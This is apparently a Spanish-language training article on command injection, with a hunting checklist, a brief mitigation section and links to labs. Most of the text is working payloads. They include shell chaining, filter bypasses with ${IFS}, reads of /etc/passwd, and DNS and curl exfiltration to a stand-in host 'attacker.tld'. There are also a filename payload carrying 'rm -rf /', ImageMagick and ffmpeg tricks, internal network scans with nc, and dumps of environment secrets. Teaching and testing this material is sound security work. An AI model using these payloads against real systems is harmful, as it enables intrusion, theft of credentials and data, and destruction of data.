Respuesta rápida
Command Injection ocurre cuando input del usuario llega al shell del servidor sin sanitizar. Vectores típicos: endpoints que pasan a system(), exec(), popen(), o construcción de comandos para conversores (ImageMagick, ffmpeg, ping, traceroute). Los bypasses se centran en operadores de chaining (;|&), espacios alternativos (${IFS}, $@), encoding (URL, hex), output redirection cuando no hay output visible.
Vectores típicos
Endpoints que llaman al shell:
- Network tools:
ping,traceroute,nslookup— input es la IP/host. - File converters: ImageMagick (
convert input.jpg ... output.png), ffmpeg, LibreOffice. - Backups / restore: rutas de archivo en BD/filesystem.
- Endpoints de admin: deploy, restart service, logs (
tail -f /logs/<service>). - PDF generators:
wkhtmltopdf <url>, headless Chrome.
Cualquier endpoint que tarde "lo que tarda un comando" (no milisegundos, sino segundos) es candidato.
Inyección básica
Si ?host=8.8.8.8 se ejecuta como ping -c 1 8.8.8.8, prueba:
?host=8.8.8.8;id
?host=8.8.8.8|id
?host=8.8.8.8&id
?host=8.8.8.8&&id
?host=8.8.8.8`id`
?host=8.8.8.8$(id)
?host=8.8.8.8\nid (URL-encoded \n = %0a)
El que devuelva el output de id (o un error que lo revele) confirma RCE.
Bypasses comunes
1. Sin espacios
Si el filtro bloquea espacio:
{IFS} # Internal Field Separator
${IFS} # también funciona
$IFS # bash interpola
$IFS$9 # IFS + var $9 (vacía) → separador
{cmd,arg1,arg2} # brace expansion: ls{,/etc}
%09 # tab URL-encoded (a veces parseado como espacio)
Ejemplo:
# Original: ping -c 1 $host
# Filtra espacios
?host=8.8.8.8;id${IFS}-u
?host=8.8.8.8;cat${IFS}/etc/passwd
?host=8.8.8.8;{cat,/etc/passwd}
2. Sin caracteres especiales (;|& filtrados)
\n(%0a): newline a veces pasa filtros que solo bloquean lista explícita.- Subshell con backticks:
\id``. - Subshell con
$():$(id). - AND condicional:
&& id(si&solo se filtra uno).
3. Encoded payloads
- URL-encoded:
%3B(;),%7C(|),%26(&),%24%28...%29($(...)). - Double URL-encoded:
%253Bcuando la app decodifica dos veces. - Hex: en curl
\x3bpara;.
4. Output redirection cuando no se ve la respuesta
Si el endpoint no retorna stdout, redirige a un archivo accesible:
?host=8.8.8.8;id>/var/www/html/out.txt
# Luego curl https://target.tld/out.txt
O exfiltración via DNS:
?host=8.8.8.8;`id|head -c 30|base64|tr -d '='|tr '+' '_'|read v;curl $v.attacker.tld`
?host=8.8.8.8;dig $(id|md5sum|cut -d' ' -f1).attacker.tld
?host=8.8.8.8;curl attacker.tld/$(whoami)
Burp Collaborator es ideal para ver los DNS hits.
Blind command injection
Cuando no hay output ni latencia obvia, usa time-based:
?host=8.8.8.8;sleep 10
?host=8.8.8.8;ping -c 10 127.0.0.1
?host=8.8.8.8;`sleep${IFS}10`
Si el response tarda 10s vs <1s normal → confirmado.
Patrones específicos
ImageMagick — MSL y ephemeral:
ImageMagick tiene operadores que ejecutan código. Vector clásico via SVG con MSL o paths con ephemeral::
ephemeral:|id
MSL[script with system call]
CVE-2016-3714 (ImageTragick) sigue presente en versions sin patch.
convert input.jpg output.png con nombre controlado
Si el output filename es controlado:
filename = "shell.png\";id;\""
# Ejecuta como: convert input.jpg "shell.png";id;""
Quoting roto → injection.
ffmpeg con SSRF + RCE
ffmpeg con concat puede leer archivos arbitrarios o conectar a URLs:
file 'https://attacker.tld/payload.mp4'
file '|id' (in some pipelines)
CVE-2017-7670 y derivados.
Filename inyectable
Cualquier endpoint que pasa nombre de archivo subido a un comando shell:
filename = "x.jpg; rm -rf /"
# system("convert " + filename + " out.png")
Si la app no escapa, RCE directo.
Casos donde RCE no es directo pero sí impacta
- Lectura de archivos arbitrarios via
cat /etc/passwdo redirección. - Server-side request forgery via
curl http://internal:8080/admin. - Discovery de internal hosts via
for ip in 10.0.0.{1..254}; do nc -zv $ip 22; done. - Dump de variables de entorno via
env(incluye AWS keys, DB credentials).
Cada uno tiene severidad propia incluso sin escalar a RCE pleno.
Detección a ciegas
Cuando no puedes confirmar fácilmente:
- Burp Collaborator OOB —
?host=$(curl${IFS}<random>.collab.tld)y observar si llega DNS/HTTP. - Time-based con
sleepdistintos para confirmar (3s, 5s, 7s, mide cada uno). - Output redirection a path web-accesible y leer.
Hunting checklist
- ¿Hay endpoints con input que parece IP, hostname, filename, URL, path?
- ¿El response tarda algo (>500ms) sin razón obvia? Probar inyección con
;sleep 5. - ¿La app usa converters (image/video/PDF)? Vector probable.
- ¿Hay endpoints de "diagnóstico" en admin (ping internal IP, check DNS, etc)?
- ¿El filtro bloquea
;|&pero deja\no backticks? - ¿Si no hay output, probar OOB (DNS) y output redirection?
- ¿Filename del archivo subido se usa en algún comando shell?
Mitigación correcta
- Nunca construir comandos shell con concatenación de string. Usar APIs nativas (
net.sendtoen lugar desystem("ping")). - Si inevitable (legacy), pasar args como array (no string concatenado):
execFile('ping', ['-c', '1', host])en Node.js. - Whitelist estricta del input (solo IPs válidas, solo filenames con
[a-zA-Z0-9._-]). - Ejecutar el binario en sandbox/contenedor restringido (no como root).
Labs relacionados
Practica command injection con bypasses de filtros, OOB exfiltration y blind detection: labs de Command Injection.
Practica esto en un lab
Command Injection
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
RCE en sandbox de Python — del editor de bots al shell del servidor
El sandbox de Python de una plataforma de IA no bloqueaba os.popen(). Dos líneas de Python para ejecutar comandos del sistema, leer variables de entorno y huellear el runtime.
SSTI — Server-Side Template Injection en Jinja2, Twig, Velocity y Freemarker
Detección con polyglots, identificación del engine, escalación a RCE en Jinja2/Python, Twig/PHP, Velocity/Java. Patrones donde se mete user input en templates.